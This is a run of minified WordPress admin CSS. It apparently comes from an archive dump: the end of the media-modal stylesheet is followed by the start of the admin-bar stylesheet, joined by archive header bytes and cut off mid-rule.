.thumbnail{width:120px;height:80px;box-shadow:inset 0 0 15px rgba(0,0,0,.1)}.uploading .attachment-info .media-progress-bar{margin-top:35px}.attachment-info .thumbnail-image:after{content:"";display:block;position:absolute;top:0;left:0;right:0;bottom:0;box-shadow:inset 0 0 0 1px rgba(0,0,0,.15);overflow:hidden}.attachment-info .thumbnail img{display:block;max-width:120px;max-height:120px;margin:0 auto}.attachment-info .details{float:left;font-size:12px;max-width:100%}.attachment-info .delete-attachment,.attachment-info .edit-attachment,.attachment-info .trash-attachment,.attachment-info .untrash-attachment{display:block;text-decoration:none;white-space:nowrap}.attachment-details.needs-refresh .attachment-info .edit-attachment{display:none}.attachment-info .edit-attachment{display:block}.media-modal .delete-attachment,.media-modal .trash-attachment,.media-modal .untrash-attachment{display:inline;padding:0;color:#d63638}.media-modal .delete-attachment:focus,.media-modal .delete-attachment:hover,.media-modal .trash-attachment:focus,.media-modal .trash-attachment:hover,.media-modal .untrash-attachment:focus,.media-modal .untrash-attachment:hover{color:#d63638}.attachment-display-settings{width:100%;float:left;overflow:hidden}.collection-settings{overflow:hidden}.collection-settings .setting input[type=checkbox]{float:left;margin-right:8px}.collection-settings .setting .name,.collection-settings .setting span{min-width:inherit}.media-modal .imgedit-wrap{position:static}.media-modal .imgedit-wrap .imgedit-panel-content{padding:16px 16px 0;overflow:visible}.media-modal .imgedit-wrap .imgedit-save-target{margin:8px 0 24px}.media-modal .imgedit-group{background:0 0;border:none;box-shadow:none;margin:0;padding:0;position:relative}.media-modal .imgedit-group.imgedit-panel-active{margin-bottom:16px;padding-bottom:16px}.media-modal .imgedit-group-top{margin:0}.media-modal .imgedit-group-top h2,.media-modal .imgedit-group-top h2 .button-link{display:inline-block;text-transform:uppercase;font-size:12px;color:#646970;margin:0;margin-top:3px}.media-modal .imgedit-group-top h2 .button-link,.media-modal .imgedit-group-top h2 a{text-decoration:none;color:#646970}.wp-core-ui.media-modal .image-editor .imgedit-help-toggle,.wp-core-ui.media-modal .image-editor .imgedit-help-toggle:active,.wp-core-ui.media-modal .image-editor .imgedit-help-toggle:hover{border:1px solid transparent;margin:0;padding:0;background:0 0;color:#2271b1;font-size:20px;line-height:1;cursor:pointer;box-sizing:content-box;box-shadow:none}.wp-core-ui.media-modal .image-editor .imgedit-help-toggle:focus{color:#2271b1;border-color:#2271b1;box-shadow:0 0 0 1px #2271b1;outline:2px solid transparent}.wp-core-ui.media-modal .imgedit-group-top .dashicons-arrow-down.imgedit-help-toggle{margin-top:-3px}.wp-core-ui.media-modal .image-editor h3 .imgedit-help-toggle{margin-top:-2px}.media-modal .imgedit-help-toggled span.dashicons:before{content:"\f142"}.media-modal .imgedit-thumbnail-preview{margin:10px 8px 0 0}.imgedit-thumbnail-preview-caption{display:block}.media-modal .imgedit-wrap .notice,.media-modal .imgedit-wrap div.updated{margin:0 16px}.embed-url{display:block;position:relative;padding:16px;margin:0;z-index:250;background:#fff;font-size:18px}.media-frame .embed-url input{font-size:18px;line-height:1.22222222;padding:12px 40px 12px 14px;width:100%;min-width:200px;box-shadow:inset 2px 2px 4px -2px rgba(0,0,0,.1)}.media-frame .embed-url input::-ms-clear{display:none}.media-frame .embed-url .spinner{position:absolute;top:32px;right:26px}.media-frame .embed-loading .embed-url .spinner{visibility:visible}.embed-link-settings,.embed-media-settings{position:absolute;top:82px;left:0;right:0;bottom:0;padding:0 16px;overflow:auto}.media-embed .embed-link-settings .link-text{margin-top:0}.embed-link-settings::after,.embed-media-settings::after{content:"";display:flex;clear:both;height:24px}.media-embed .embed-link-settings{overflow:visible}.embed-preview embed,.embed-preview iframe,.embed-preview img,.mejs-container video{max-width:100%;vertical-align:middle}.embed-preview a{display:inline-block}.embed-preview img{display:block;height:auto}.mejs-container:focus{outline:1px solid #2271b1;box-shadow:0 0 0 2px #2271b1}.image-details .media-modal{left:140px;right:140px}.image-details .media-frame-content,.image-details .media-frame-router,.image-details .media-frame-title{left:0}.image-details .embed-media-settings{top:0;overflow:visible;padding:0}.image-details .embed-media-settings::after{content:none}.image-details .embed-media-settings,.image-details .embed-media-settings div{box-sizing:border-box}.image-details .column-settings{background:#f6f7f7;border-right:1px solid #dcdcde;min-height:100%;width:55%;position:absolute;top:0;left:0}.image-details .column-settings h2{margin:20px;padding-top:20px;border-top:1px solid #dcdcde;color:#1d2327}.image-details .column-image{width:45%;position:absolute;left:55%;top:0}.image-details .image{margin:20px}.image-details .image img{max-width:100%;max-height:500px}.image-details .advanced-toggle{padding:0;color:#646970;text-transform:uppercase;text-decoration:none}.image-details .advanced-toggle:active,.image-details .advanced-toggle:hover{color:#646970}.image-details .advanced-toggle:after{font:normal 20px/1 dashicons;speak:never;vertical-align:top;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;content:"\f140";display:inline-block;margin-top:-2px}.image-details .advanced-visible .advanced-toggle:after{content:"\f142"}.image-details .custom-size .custom-size-setting,.image-details .custom-size label{display:block;float:left}.image-details .custom-size .custom-size-setting label{float:none}.image-details .custom-size input{width:5em}.image-details .custom-size .sep{float:left;margin:26px 6px 0}.image-details .custom-size .description{margin-left:0}.media-embed .thumbnail{max-width:100%;max-height:200px;position:relative;float:left}.media-embed .thumbnail img{max-height:200px;display:block}.media-embed .thumbnail:after{content:"";display:block;position:absolute;top:0;left:0;right:0;bottom:0;box-shadow:inset 0 0 0 1px rgba(0,0,0,.1);overflow:hidden}.media-embed .setting,.media-embed .setting-group{width:100%;margin:10px 0;float:left;display:block;clear:both}.media-embed .setting-group .setting:not(.checkbox-setting){margin:0}.media-embed .setting.has-description{margin-bottom:5px}.media-embed .description{clear:both;font-style:normal}.media-embed .content-track+.description{line-height:1.4;max-width:none!important}.media-embed .remove-track{margin-bottom:10px}.image-details .embed-media-settings .setting,.image-details .embed-media-settings .setting-group{float:none;width:auto}.image-details .actions{margin:10px 0}.image-details .hidden{display:none}.media-embed .setting input[type=text],.media-embed .setting textarea,.media-embed fieldset{display:block;width:100%;max-width:400px}.image-details .embed-media-settings .setting input[type=text],.image-details .embed-media-settings .setting textarea{max-width:inherit;width:70%}.image-details .description,.image-details .embed-media-settings .custom-size,.image-details .embed-media-settings .link-target,.image-details .embed-media-settings .setting input.link-to-custom,.image-details .embed-media-settings .setting-group{margin-left:27%;width:70%}.image-details .description{font-style:normal;margin-top:0}.image-details .embed-media-settings .link-target{margin-top:16px}.audio-details .checkbox-label,.image-details .checkbox-label,.video-details .checkbox-label{vertical-align:baseline}.media-embed .setting input.hidden,.media-embed .setting textarea.hidden{display:none}.media-embed .setting .name,.media-embed .setting span,.media-embed .setting-group .name{display:inline-block;font-size:13px;line-height:1.84615384;color:#646970}.media-embed .setting span{display:block;width:200px}.image-details .embed-media-settings .setting .name,.image-details .embed-media-settings .setting span{float:left;width:25%;text-align:right;margin:8px 1% 0;line-height:1.1}.image-details .embed-media-settings .setting .button-group,.media-frame .setting-group .button-group{width:auto}.media-embed-sidebar{position:absolute;top:0;left:440px}.advanced-section,.link-settings{margin-top:10px}.media-frame .setting .button-group{display:flex;margin:0!important;max-width:none!important}.rtl .media-frame,.rtl .media-frame .search,.rtl .media-frame input[type=email],.rtl .media-frame input[type=number],.rtl .media-frame input[type=password],.rtl .media-frame input[type=search],.rtl .media-frame input[type=tel],.rtl .media-frame input[type=text],.rtl .media-frame input[type=url],.rtl .media-frame select,.rtl .media-frame textarea,.rtl .media-modal{font-family:Tahoma,sans-serif}:lang(he-il) .rtl .media-frame,:lang(he-il) .rtl .media-frame .search,:lang(he-il) .rtl .media-frame input[type=email],:lang(he-il) .rtl .media-frame input[type=number],:lang(he-il) .rtl .media-frame input[type=password],:lang(he-il) .rtl .media-frame input[type=search],:lang(he-il) .rtl .media-frame input[type=text],:lang(he-il) .rtl .media-frame input[type=url],:lang(he-il) .rtl .media-frame select,:lang(he-il) .rtl .media-frame textarea,:lang(he-il) .rtl .media-modal{font-family:Arial,sans-serif}@media only screen and (max-width:900px){.media-modal .media-frame-title{height:40px}.media-modal .media-frame-title h1{line-height:2.22222222;font-size:18px}.media-modal-close{width:42px;height:42px}.media-frame .media-frame-title{position:static;padding:0 44px;text-align:center}.media-frame:not(.hide-menu) .media-frame-content,.media-frame:not(.hide-menu) .media-frame-router,.media-frame:not(.hide-menu) .media-frame-toolbar{left:0}.media-frame:not(.hide-menu) .media-frame-router{top:80px}.media-frame:not(.hide-menu) .media-frame-content{top:114px}.media-frame.hide-router .media-frame-content{top:80px}.media-frame:not(.hide-menu) .media-frame-menu{position:static;width:0}.media-frame:not(.hide-menu) .media-menu{display:none;width:auto;max-width:80%;overflow:auto;z-index:2000;top:75px;left:50%;transform:translateX(-50%);right:auto;bottom:auto;padding:5px 0;border:1px solid #c3c4c7}.media-frame:not(.hide-menu) .media-menu.visible{display:block}.media-frame:not(.hide-menu) .media-menu>a{padding:12px 16px;font-size:16px}.media-frame:not(.hide-menu) .media-menu .separator{margin:5px 10px}.media-frame-menu-heading{clip-path:inset(50%);height:1px;overflow:hidden;padding:0;width:1px;border:0;margin:-1px;word-wrap:normal!important}.wp-core-ui .media-frame:not(.hide-menu) .button.media-frame-menu-toggle{display:inline-flex;align-items:center;position:absolute;left:50%;transform:translateX(-50%);margin:-6px 0 0;padding:0 2px 0 12px;font-size:.875rem;font-weight:600;text-decoration:none;background:0 0;height:.1%;min-height:40px}.wp-core-ui .button.media-frame-menu-toggle:active,.wp-core-ui .button.media-frame-menu-toggle:hover{background:0 0;transform:none}.wp-core-ui .button.media-frame-menu-toggle:focus{outline:1px solid transparent}.media-sidebar{width:230px}.options-general-php .crop-content.site-icon,.wp-customizer:not(.mobile) .media-frame-content .crop-content.site-icon{margin-right:262px}.attachments-browser .attachments,.attachments-browser .attachments-wrapper,.attachments-browser .media-toolbar,.attachments-browser .uploader-inline,.attachments-browser.has-load-more .attachments-wrapper{right:262px}.attachments-browser .media-toolbar{height:82px}.attachments-browser .attachments,.attachments-browser .uploader-inline,.media-frame-content .attachments-browser .attachments-wrapper{top:82px}.attachment-details .setting,.media-sidebar .setting{margin:6px 0}.attachment-details .setting .name,.attachment-details .setting input,.attachment-details .setting textarea,.compat-item label span,.media-sidebar .setting .name,.media-sidebar .setting input,.media-sidebar .setting textarea{float:none;display:inline-block}.attachment-details .setting span,.media-sidebar .checkbox-label-inline,.media-sidebar .setting span{float:none}.media-sidebar .setting .select-label-inline{display:inline}.attachment-details .setting .name,.compat-item label span,.media-sidebar .checkbox-label-inline,.media-sidebar .setting .name{text-align:inherit;min-height:16px;margin:0;padding:8px 2px 2px}.attachment-details .attachment-info .copy-to-clipboard-container,.media-sidebar .setting .copy-to-clipboard-container{margin-left:0;padding-top:0}.attachment-details .attachment-info .copy-attachment-url,.media-sidebar .setting .copy-attachment-url{margin:0 1px}.attachment-details .setting .value,.media-sidebar .setting .value{float:none;width:auto}.attachment-details .setting input[type=email],.attachment-details .setting input[type=number],.attachment-details .setting input[type=password],.attachment-details .setting input[type=search],.attachment-details .setting input[type=tel],.attachment-details .setting input[type=text],.attachment-details .setting input[type=url],.attachment-details .setting select,.attachment-details .setting textarea,.attachment-details .setting+.description,.media-sidebar .setting input[type=email],.media-sidebar .setting input[type=number],.media-sidebar .setting input[type=password],.media-sidebar .setting input[type=search],.media-sidebar .setting input[type=tel],.media-sidebar .setting input[type=text],.media-sidebar .setting input[type=url],.media-sidebar .setting select,.media-sidebar .setting textarea{float:none;width:98%;max-width:none;height:auto}.media-frame .media-toolbar input[type=search]{line-height:2.25}.attachment-details .setting select.columns,.media-sidebar .setting select.columns{width:auto}.media-frame .search,.media-frame input,.media-frame textarea{padding:3px 6px}.wp-admin .media-frame select{min-height:40px;font-size:16px;line-height:1.625;padding:5px 24px 5px 8px}.image-details .column-image{width:30%;left:70%}.image-details .column-settings{width:70%}.image-details .media-modal{left:30px;right:30px}.image-details .embed-media-settings .setting,.image-details .embed-media-settings .setting-group{margin:20px}.image-details .embed-media-settings .setting .name,.image-details .embed-media-settings .setting span{float:none;text-align:left;width:100%;margin-bottom:4px;margin-left:0}.media-modal .legend-inline{position:static;transform:none;margin-left:0;margin-bottom:6px}.image-details .embed-media-settings .setting-group .setting{margin-bottom:0}.image-details .embed-media-settings .setting input.link-to-custom,.image-details .embed-media-settings .setting input[type=text],.image-details .embed-media-settings .setting textarea{width:100%;margin-left:0}.image-details .embed-media-settings .setting.has-description{margin-bottom:5px}.image-details .description{width:auto;margin:0 20px}.image-details .embed-media-settings .custom-size{margin-left:20px}.collection-settings .setting input[type=checkbox]{float:none;margin-top:0}.media-selection{min-width:120px}.media-selection:after{background:0 0}.media-selection .attachments{display:none}.media-modal .attachments-browser .media-toolbar .search{max-width:100%;height:auto;float:right}.media-modal .attachments-browser .media-toolbar .attachment-filters{height:auto}.media-frame input[type=email],.media-frame input[type=number],.media-frame input[type=password],.media-frame input[type=search],.media-frame input[type=text],.media-frame input[type=url],.media-frame select,.media-frame textarea{font-size:16px;line-height:1.5}.media-frame .media-toolbar input[type=search]{line-height:2.3755}.media-modal .media-toolbar .spinner{margin-bottom:10px}}@media screen and (max-width:782px){.imgedit-panel-content{grid-template-columns:auto}.media-frame-toolbar .media-toolbar{bottom:-54px}.mode-grid .attachments-browser .media-toolbar-primary{display:grid;grid-template-columns:auto 1fr}.mode-grid .attachments-browser .media-toolbar-primary input[type=search]{width:100%}.attachment-details .copy-to-clipboard-container .success,.media-sidebar .copy-to-clipboard-container .success{font-size:14px;line-height:2.71428571}.media-frame .wp-filter .media-toolbar-secondary{position:unset}.media-frame .media-toolbar-secondary .spinner{position:absolute;top:0;bottom:0;margin:auto;left:0;right:0;z-index:9}.media-bg-overlay{content:'';background:#fff;width:100%;height:100%;display:none;position:absolute;left:0;right:0;top:0;bottom:0;opacity:.6}}@media only screen and (max-width:640px),screen and (max-height:400px){.image-details .media-modal,.media-modal{position:fixed;top:0;left:0;right:0;bottom:0}.media-modal-backdrop{position:fixed}.options-general-php .crop-content.site-icon,.wp-customizer:not(.mobile) .media-frame-content .crop-content.site-icon{margin-right:0}.media-sidebar{z-index:1900;max-width:70%;bottom:120%;box-sizing:border-box;padding-bottom:0}.media-sidebar.visible{bottom:0}.attachments-browser .attachments,.attachments-browser .media-toolbar,.attachments-browser .uploader-inline,.media-frame-content .attachments-browser .attachments-wrapper{right:0}.image-details .media-frame-title{display:block;top:0;font-size:14px}.image-details .column-image,.image-details .column-settings{width:100%;position:relative;left:0}.image-details .column-settings{padding:4px 0}.media-frame-content .media-toolbar .instructions{display:none}.load-more-wrapper .load-more-jump{margin:12px 0 0}}@media only screen and (min-width:901px) and (max-height:400px){.media-frame:not(.hide-menu) .media-menu,.media-menu{top:0;padding-top:44px}.load-more-wrapper .load-more-jump{margin:12px 0 0}}@media only screen and (max-width:480px){.wp-core-ui.wp-customizer .media-button{margin-top:13px}}@media print,(min-resolution:120dpi){.wp-core-ui .media-modal-icon{background-image:url(../images/uploader-icons-2x.png);background-size:134px 15px}.media-frame .spinner{background-image:url(../images/spinner-2x.gif)}}.media-frame-content[data-columns="1"] .attachment{width:100%}.media-frame-content[data-columns="2"] .attachment{width:50%}.media-frame-content[data-columns="3"] .attachment{width:33.33%}.media-frame-content[data-columns="4"] .attachment{width:25%}.media-frame-content[data-columns="5"] .attachment{width:20%}.media-frame-content[data-columns="6"] .attachment{width:16.66%}.media-frame-content[data-columns="7"] .attachment{width:14.28%}.media-frame-content[data-columns="8"] .attachment{width:12.5%}.media-frame-content[data-columns="9"] .attachment{width:11.11%}.media-frame-content[data-columns="10"] .attachment{width:10%}.media-frame-content[data-columns="11"] .attachment{width:9.09%}.media-frame-content[data-columns="12"] .attachment{width:8.33%}PK1Xd[�����N�Nadmin-bar.min.cssnu�[���/*! This file is auto-generated */
html{--wp-admin--admin-bar--height:32px;scroll-padding-top:var(--wp-admin--admin-bar--height)}#wpadminbar *{height:auto;width:auto;margin:0;padding:0;position:static;text-shadow:none;text-transform:none;letter-spacing:normal;font-size:13px;font-weight:400;font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,Oxygen-Sans,Ubuntu,Cantarell,"Helvetica Neue",sans-serif;font-style:normal;line-height:2.46153846;border-radius:0;box-sizing:content-box;transition:none;-webkit-font-smoothing:subpixel-antialiased;-moz-osx-font-smoothing:auto}.rtl #wpadminbar *{font-family:Tahoma,sans-serif}html:lang(he-il) .rtl #wpadminbar *{font-family:Arial,sans-serif}#wpadminbar .ab-empty-item{cursor:default}#wpadminbar .ab-empty-item,#wpadminbar a.ab-item,#wpadminbar>#wp-toolbar span.ab-label,#wpadminbar>#wp-toolbar span.noticon{color:#f0f0f1}#wpadminbar #wp-admin-bar-my-sites a.ab-item,#wpadminbar #wp-admin-bar-site-name a.ab-item{white-space:nowrap}#wpadminbar ul li:after,#wpadminbar ul li:before{content:normal}#wpadminbar a,#wpadminbar a img,#wpadminbar a img:hover,#wpadminbar a:hover{border:none;text-decoration:none;background:0 0;box-shadow:none}#wpadminbar a:active,#wpadminbar a:focus,#wpadminbar div,#wpadminbar input[type=email],#wpadminbar input[type=number],#wpadminbar input[type=password],#wpadminbar input[type=search],#wpadminbar input[type=text],#wpadminbar input[type=url],#wpadminbar select,#wpadminbar textarea{box-shadow:none}#wpadminbar a:focus{outline-offset:-1px}#wpadminbar{direction:ltr;color:#c3c4c7;font-size:13px;font-weight:400;font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,Oxygen-Sans,Ubuntu,Cantarell,"Helvetica Neue",sans-serif;line-height:2.46153846;height:32px;position:fixed;top:0;left:0;width:100%;min-width:600px;z-index:99999;background:#1d2327;outline:1px solid transparent}#wpadminbar .ab-sub-wrapper,#wpadminbar ul,#wpadminbar ul li{background:0 0;clear:none;list-style:none;margin:0;padding:0;position:relative;text-indent:0;z-index:99999}#wpadminbar ul#wp-admin-bar-root-default>li{margin-right:0}#wpadminbar .quicklinks ul{text-align:left}#wpadminbar li{float:left}#wpadminbar .ab-empty-item{outline:0}#wpadminbar .quicklinks .ab-empty-item,#wpadminbar .quicklinks a,#wpadminbar .shortlink-input{height:32px;display:block;padding:0 10px;margin:0}#wpadminbar .quicklinks>ul>li>a{padding:0 8px 0 7px}#wpadminbar .menupop .ab-sub-wrapper,#wpadminbar .shortlink-input{margin:0;padding:0;box-shadow:0 3px 5px rgba(0,0,0,.2);background:#2c3338;display:none;position:absolute;float:none}#wpadminbar .ab-top-menu>.menupop>.ab-sub-wrapper{min-width:100%}#wpadminbar .ab-top-secondary .menupop .ab-sub-wrapper{right:0;left:auto}#wpadminbar .ab-submenu{padding:6px 0}#wpadminbar .selected .shortlink-input{display:block}#wpadminbar .quicklinks .menupop ul li{float:none}#wpadminbar .quicklinks .menupop ul li a strong{font-weight:600}#wpadminbar .quicklinks .menupop ul li .ab-item,#wpadminbar .quicklinks .menupop ul li a strong,#wpadminbar .quicklinks .menupop.hover ul li .ab-item,#wpadminbar .shortlink-input,#wpadminbar.nojs .quicklinks .menupop:hover ul li .ab-item{line-height:2;height:26px;white-space:nowrap;min-width:140px}#wpadminbar .shortlink-input{width:200px}#wpadminbar li.hover>.ab-sub-wrapper,#wpadminbar.nojs li:hover>.ab-sub-wrapper{display:block;outline:1px solid transparent}#wpadminbar .menupop li.hover>.ab-sub-wrapper,#wpadminbar .menupop li:hover>.ab-sub-wrapper{margin-left:100%;margin-top:-32px}#wpadminbar .ab-top-secondary .menupop li.hover>.ab-sub-wrapper,#wpadminbar .ab-top-secondary .menupop li:hover>.ab-sub-wrapper{margin-left:0;left:inherit;right:100%}#wpadminbar .ab-top-menu>li.hover>.ab-item,#wpadminbar.nojq .quicklinks .ab-top-menu>li>.ab-item:focus,#wpadminbar:not(.mobile) .ab-top-menu>li:hover>.ab-item,#wpadminbar:not(.mobile) .ab-top-menu>li>.ab-item:focus{background:#2c3338;color:#72aee6}#wpadminbar:not(.mobile)>#wp-toolbar a:focus span.ab-label,#wpadminbar:not(.mobile)>#wp-toolbar li:hover span.ab-label,#wpadminbar>#wp-toolbar li.hover span.ab-label{color:#72aee6}#wpadminbar .ab-icon,#wpadminbar .ab-item:before,#wpadminbar>#wp-toolbar>#wp-admin-bar-root-default .ab-icon,.wp-admin-bar-arrow{position:relative;float:left;font:normal 20px/1 dashicons;speak:never;padding:4px 0;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;background-image:none!important;margin-right:6px}#wpadminbar #adminbarsearch:before,#wpadminbar .ab-icon:before,#wpadminbar .ab-item:before{color:#a7aaad;color:rgba(240,246,252,.6)}#wpadminbar #adminbarsearch:before,#wpadminbar .ab-icon:before,#wpadminbar .ab-item:before{position:relative;transition:color .1s ease-in-out}#wpadminbar .ab-label{display:inline-block;height:32px}#wpadminbar .ab-submenu .ab-item{color:#c3c4c7;color:rgba(240,246,252,.7)}#wpadminbar .quicklinks .menupop ul li a,#wpadminbar .quicklinks .menupop ul li a strong,#wpadminbar .quicklinks .menupop.hover ul li a,#wpadminbar.nojs .quicklinks .menupop:hover ul li a{color:#c3c4c7;color:rgba(240,246,252,.7)}#wpadminbar .quicklinks .ab-sub-wrapper .menupop.hover>a,#wpadminbar .quicklinks .menupop ul li a:focus,#wpadminbar .quicklinks .menupop ul li a:focus strong,#wpadminbar .quicklinks .menupop ul li a:hover,#wpadminbar .quicklinks .menupop ul li a:hover strong,#wpadminbar .quicklinks .menupop.hover ul li a:focus,#wpadminbar .quicklinks .menupop.hover ul li a:hover,#wpadminbar .quicklinks .menupop.hover ul li div[tabindex]:focus,#wpadminbar .quicklinks .menupop.hover ul li div[tabindex]:hover,#wpadminbar li #adminbarsearch.adminbar-focused:before,#wpadminbar li .ab-item:focus .ab-icon:before,#wpadminbar li .ab-item:focus:before,#wpadminbar li a:focus .ab-icon:before,#wpadminbar li.hover .ab-icon:before,#wpadminbar li.hover .ab-item:before,#wpadminbar li:hover #adminbarsearch:before,#wpadminbar li:hover .ab-icon:before,#wpadminbar li:hover .ab-item:before,#wpadminbar.nojs .quicklinks .menupop:hover ul li a:focus,#wpadminbar.nojs .quicklinks .menupop:hover ul li a:hover{color:#72aee6}#wpadminbar.mobile .quicklinks .ab-icon:before,#wpadminbar.mobile .quicklinks .ab-item:before{color:#c3c4c7}#wpadminbar.mobile .quicklinks .hover .ab-icon:before,#wpadminbar.mobile .quicklinks .hover .ab-item:before{color:#72aee6}#wpadminbar .ab-top-secondary .menupop .menupop>.ab-item:before,#wpadminbar .menupop .menupop>.ab-item .wp-admin-bar-arrow:before{position:absolute;font:normal 17px/1 dashicons;speak:never;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}#wpadminbar .menupop .menupop>.ab-item{display:block;padding-right:2em}#wpadminbar .menupop .menupop>.ab-item .wp-admin-bar-arrow:before{top:1px;right:10px;padding:4px 0;content:"\f139";color:inherit}#wpadminbar .ab-top-secondary .menupop .menupop>.ab-item{padding-left:2em;padding-right:1em}#wpadminbar .ab-top-secondary .menupop .menupop>.ab-item .wp-admin-bar-arrow:before{top:1px;left:6px;content:"\f141"}#wpadminbar .quicklinks .menupop ul.ab-sub-secondary{display:block;position:relative;right:auto;margin:0;box-shadow:none}#wpadminbar .quicklinks .menupop ul.ab-sub-secondary,#wpadminbar .quicklinks .menupop ul.ab-sub-secondary .ab-submenu{background:#3c434a}#wpadminbar .quicklinks .menupop .ab-sub-secondary>li .ab-item:focus a,#wpadminbar .quicklinks .menupop .ab-sub-secondary>li>a:hover{color:#72aee6}#wpadminbar .quicklinks a span#ab-updates{background:#f0f0f1;color:#2c3338;display:inline;padding:2px 5px;font-size:10px;font-weight:600;border-radius:10px}#wpadminbar .quicklinks a:hover span#ab-updates{background:#fff;color:#000}#wpadminbar .ab-top-secondary{float:right}#wpadminbar ul li:last-child,#wpadminbar ul li:last-child .ab-item{box-shadow:none}#wpadminbar #wp-admin-bar-recovery-mode{color:#fff;background-color:#d63638}#wpadminbar .ab-top-menu>#wp-admin-bar-recovery-mode.hover>.ab-item,#wpadminbar.nojq .quicklinks .ab-top-menu>#wp-admin-bar-recovery-mode>.ab-item:focus,#wpadminbar:not(.mobile) .ab-top-menu>#wp-admin-bar-recovery-mode:hover>.ab-item,#wpadminbar:not(.mobile) .ab-top-menu>#wp-admin-bar-recovery-mode>.ab-item:focus{color:#fff;background-color:#d63638}#wp-admin-bar-my-account>ul{min-width:198px}#wp-admin-bar-my-account:not(.with-avatar)>.ab-item{display:inline-block}#wp-admin-bar-my-account>.ab-item:before{content:"\f110";top:2px;float:right;margin-left:6px;margin-right:0}#wp-admin-bar-my-account.with-avatar>.ab-item:before{display:none;content:none}#wp-admin-bar-my-account.with-avatar>ul{min-width:270px}#wpadminbar #wp-admin-bar-user-actions>li{margin-left:16px;margin-right:16px}#wpadminbar #wp-admin-bar-user-actions.ab-submenu{padding:6px 0 12px}#wpadminbar #wp-admin-bar-my-account.with-avatar #wp-admin-bar-user-actions>li{margin-left:88px}#wpadminbar #wp-admin-bar-user-info{margin-top:6px;margin-bottom:15px;height:auto;background:0 0}#wp-admin-bar-user-info .avatar{position:absolute;left:-72px;top:4px;width:64px;height:64px}#wpadminbar #wp-admin-bar-user-info a{background:0 0;height:auto}#wpadminbar #wp-admin-bar-user-info span{background:0 0;padding:0;height:18px}#wpadminbar #wp-admin-bar-user-info .display-name,#wpadminbar #wp-admin-bar-user-info .username{display:block}#wpadminbar #wp-admin-bar-user-info .username{color:#a7aaad;font-size:11px}#wpadminbar #wp-admin-bar-my-account.with-avatar>.ab-empty-item img,#wpadminbar #wp-admin-bar-my-account.with-avatar>a img{width:auto;height:16px;padding:0;border:1px solid #8c8f94;background:#f0f0f1;line-height:1.84615384;vertical-align:middle;margin:-4px 0 0 6px;float:none;display:inline}#wpadminbar #wp-admin-bar-wp-logo>.ab-item .ab-icon{width:15px;height:20px;margin-right:0;padding:6px 0 5px}#wpadminbar #wp-admin-bar-wp-logo>.ab-item{padding:0 7px}#wpadminbar #wp-admin-bar-wp-logo>.ab-item .ab-icon:before{content:"\f120";top:2px}#wpadminbar .quicklinks li .blavatar{display:inline-block;vertical-align:middle;font:normal 16px/1 dashicons!important;speak:never;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;color:#f0f0f1}#wpadminbar .quicklinks .ab-sub-wrapper .menupop.hover>a .blavatar,#wpadminbar .quicklinks li a:focus .blavatar,#wpadminbar .quicklinks li a:hover .blavatar{color:#72aee6}#wpadminbar .quicklinks li div.blavatar:before,#wpadminbar .quicklinks li img.blavatar{height:16px;width:16px;margin:0 8px 2px -2px}#wpadminbar .quicklinks li div.blavatar:before{content:"\f120";display:inline-block}#wpadminbar #wp-admin-bar-appearance{margin-top:-12px}#wpadminbar #wp-admin-bar-my-sites>.ab-item:before,#wpadminbar #wp-admin-bar-site-name>.ab-item:before{content:"\f541";top:2px}#wpadminbar #wp-admin-bar-site-editor>.ab-item:before{content:"\f100";top:2px}#wpadminbar #wp-admin-bar-customize>.ab-item:before{content:"\f540";top:2px}#wpadminbar #wp-admin-bar-edit>.ab-item:before{content:"\f464";top:2px}#wpadminbar #wp-admin-bar-site-name>.ab-item:before{content:"\f226"}.wp-admin #wpadminbar #wp-admin-bar-site-name>.ab-item:before{content:"\f102"}#wpadminbar #wp-admin-bar-comments .ab-icon{margin-right:6px}#wpadminbar #wp-admin-bar-comments .ab-icon:before{content:"\f101";top:3px}#wpadminbar #wp-admin-bar-comments .count-0{opacity:.5}#wpadminbar #wp-admin-bar-new-content .ab-icon:before{content:"\f132";top:4px}#wpadminbar #wp-admin-bar-updates .ab-icon:before{content:"\f463";top:2px}#wpadminbar #wp-admin-bar-updates.spin .ab-icon:before{display:inline-block;animation:rotation 2s infinite linear}@media (prefers-reduced-motion:reduce){#wpadminbar #wp-admin-bar-updates.spin .ab-icon:before{animation:none}}#wpadminbar #wp-admin-bar-search .ab-item{padding:0;background:0 0}#wpadminbar #adminbarsearch{position:relative;height:32px;padding:0 2px;z-index:1}#wpadminbar #adminbarsearch:before{position:absolute;top:6px;left:5px;z-index:20;font:normal 20px/1 dashicons!important;content:"\f179";speak:never;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}#wpadminbar>#wp-toolbar>#wp-admin-bar-top-secondary>#wp-admin-bar-search #adminbarsearch input.adminbar-input{display:inline-block;float:none;position:relative;z-index:30;font-size:13px;font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,Oxygen-Sans,Ubuntu,Cantarell,"Helvetica Neue",sans-serif;line-height:1.84615384;text-indent:0;height:24px;width:24px;max-width:none;padding:0 3px 0 24px;margin:0;color:#c3c4c7;background-color:rgba(255,255,255,0);border:none;outline:0;cursor:pointer;box-shadow:none;box-sizing:border-box;transition-duration:.4s;transition-property:width,background;transition-timing-function:ease}#wpadminbar>#wp-toolbar>#wp-admin-bar-top-secondary>#wp-admin-bar-search #adminbarsearch input.adminbar-input:focus{z-index:10;color:#000;width:200px;background-color:rgba(255,255,255,.9);cursor:text;border:0}#wpadminbar #adminbarsearch .adminbar-button{display:none}.customize-support #wpadminbar .hide-if-customize,.customize-support .hide-if-customize,.customize-support .wp-core-ui .hide-if-customize,.customize-support.wp-core-ui .hide-if-customize,.no-customize-support #wpadminbar .hide-if-no-customize,.no-customize-support .hide-if-no-customize,.no-customize-support .wp-core-ui .hide-if-no-customize,.no-customize-support.wp-core-ui .hide-if-no-customize{display:none}#wpadminbar .screen-reader-text,#wpadminbar .screen-reader-text span{border:0;clip-path:inset(50%);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute;width:1px;word-wrap:normal!important}#wpadminbar .screen-reader-shortcut{position:absolute;top:-1000em;left:6px;height:auto;width:auto;display:block;font-size:14px;font-weight:600;padding:15px 23px 